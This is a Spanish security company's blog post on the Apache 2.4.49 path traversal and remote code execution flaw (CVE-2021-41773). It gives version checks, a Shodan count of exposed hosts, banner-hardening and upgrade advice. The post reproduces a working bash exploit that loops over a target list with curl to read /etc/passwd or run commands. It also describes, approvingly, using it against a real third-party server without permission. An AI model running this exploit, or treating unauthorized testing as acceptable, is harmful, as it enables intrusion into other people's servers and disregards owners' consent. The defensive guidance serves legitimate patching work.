INICIO > BLOG

vulnerabilidad apache

Importante vulnerabilidad en Apache 2.4.49 deja miles de WordPress al descubierto

Desde el equipo de Red Team de Dolbuck,  hablamos de una reciente vulnerabilidad detectada en Apache HTTP Server 2.4.49, CVE-2021-41773.

Si tu WordPress, Prestashop o cualquier web que tengas está soportada por un servidor apache versión 2.4.49 deberías leer este artículo.

¿Cómo saber si la versión de mi servidor Apache es vulnerable a CVE-2021-41773?

Lo primero, que debes hacer es conocer la versión que usa tu servidor web para saber si  vulnerables

La forma más rápida de saberlo es provocando un error 404 en tu propio servidor y para esto basta que te crees una URL errónea: Por ejemplo si tu dominio es “midominio.com” puedes escribir lo siguiente: https://midominio.com/loquesea y te devolverá algo como:

01

Como puedes ver en la imagen, es un servidor Apache 2.4.49, por lo que tu servidor es vulnerable. Puede suceder que tu hosting no indique la versión de Apache por seguridad, lo cuál es un acierto, en ese caso, puedes entrar en tu panel de hosting y consultar la versión que tienes de Apache desde el propio servidor.

Explicando qué es la vulnerabilidad de Apache 2.4.49

Este fallo importante ha sido descubierto por el investigador Ash Daulton junto con el equipo de seguridad cPanel. Esta vulnerabilidad básicamente consiste en la limitación de acceso a rutas de directorios del servidor, que no deberían ser accesibles desde un navegador web. Por lo que un atacante puede aprovechar este fallo para leer cualquier archivo del servidor, incluso fuera del Document Root .

Por ejemplo podría listar todos los usuarios del servidor, configuraciones de copias de seguridad y todo lo que el atacante sea capaz de imaginar.  Citando la fuente original NVD:

“… Un atacante puede usar un ataque de recorrido de rutas (path traversal attack) para asignar URLs a archivos fuera de la raíz del documento. Si los archivos fuera de la raíz del documento no están protegidos por ‘require all denied’, estas solicitudes pueden tener éxito. Además, esta falla podría filtrar la fuente de archivos interpretados como scripts CGI.”

Hay que recalcar que este fallo solo es válido para la versión Apache 2.4.49, por lo que si tienes versiones anteriores tu servidor no es vulnerable.

¿Pero cuántos servidores tienen esa versión en el mundo?

Desde Dolbuck, hemos detectado más de 116.000 servidores vulnerables en todo el mundo. Y en concreto en España encontramos 618.

En este caso nuestro equipo de Red Team utilizó Shodan.io para identificar los servidores, realizando la siguiente consulta (nosotros filtramos por España la búsqueda):

02

Como podemos ver en la imagen de arriba, actualmente han sido detectados 618 hosts solo en España con esta versión de Apache potencialmente vulnerable a CVE-2021-41773.

Shodan.io realiza una búsqueda en base a los banners o tags <address> de las páginas, esto significa que, el proceso que hicimos nosotros de forma manual para conocer la versión de Apache que corre nuestro servidor, Shodan lo realiza de una forma automatizada, identificando los servidores vulnerables por su banner.

Tips Blue Team: Una forma de hacer “hardening” de los servidores es una vieja práctica que consiste en modificar los banners de los servicios que corren en nuestro servidor. De esta forma tanto los atacantes, como las herramientas automatizadas como Shodan,  no son capaces de identificar el servicio de forma correcta. Por lo que nunca sabrán que versión se está corriendo realmente.

POC (Proof of concept)

Como a nuestro equipo de Red Team le gusta el peligro decidió hacer un POC con un servidor real, así que vamos al lio…

Por ejemplo: buscando por el logo de una web (www.webejemplo.com/logo), podemos ver reflejado en la barra de direcciones donde está alojada la imagen, en este caso:

03

Si ahora intentamos acceder a https://www.webejemplo.com/wp-content/uploads saldrá una página donde podamos ver el directorio de carpetas o bien nos diga que tenemos el acceso denegado. En cualquiera de los casos (el primero imperdonable, ya que no tendrían que estar expuestos los archivos del servidor al público) aparecerá un banner con el nombre del servidor, como ocurre en este ejemplo:

04

Existen muchas herramientas para averiguar la composición de la página web descubriendo todas sus carpetas, por lo que es fácil (si no hay sistemas de defensa) de acceder a esas carpetas.

Una vez tenemos un servidor vulnerable podemos usar el script realizado por Lucas Souza:

Lucas Souza propone el siguiente exploit:

# Exploit Title: Apache HTTP Server 2.4.49 – Path Traversal & Remote Code Execution (RCE)

# Date: 10/05/2021

# Exploit Author: Lucas Souza https://lsass.io

# Vendor Homepage:  https://apache.org/

# Version: 2.4.49

# Tested on: 2.4.49

# CVE : CVE-2021-41773

# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == ” ]]; [[ $2 == ” ]]; then

echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]

echo ./PoC.sh targets.txt /etc/passwd

exit

fi

for host in $(cat $1); do

echo $host

curl –proxy http://192.168.72.1:8080 -s –path-as-is -d “echo Content-Type: text/plain; echo; $3” “$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2”; done

# PoC.sh targets.txt /etc/passwd

# PoC.sh targets.txt /bin/sh whoami

¿El resultado?

05

Como se puede apreciar en la captura, acabamos de obtener todo el listado de usuarios del servidor, ya es cuestión de ingenio y creatividad del atacante y de las medidas que tenga de defensa el servidor para que sea comprometido o no.

En este caso el equipo de Red Team de Dolbuck pudo comprometer la seguridad de este servidor, por lo que le notificamos de forma anónima al propietario que su servidor es vulnerable. Una forma de agradecer que nos preste su infraestructura para hacer esta POC

Soy vulnerable, ¿cómo puedo solucionarlo?

La solución es simple: actualizar a la versión de Apache server 2.4.50

Ya veis que es muy importante está al día de las nuevas vulnerabilidades encontradas, ya que en cualquier momento nos podemos llevar un susto para no olvidar. Os dejamos unos enlaces aquí debajo para saber más sobre esta vulnerabilidad y por supuesto, no olvides actualizar. Si todo estos pasos te parecen muy difícil, puedes contactar con nuestro equipo de Red Team que con tu autorización verificarán si tu servidor es vulnerable. Y en caso de que lo sea y quieras que nuestro equipo de Blue Team lo solucione. Lo haremos en el mismo día, ya que consideramos la vulnerabilidad como crítica.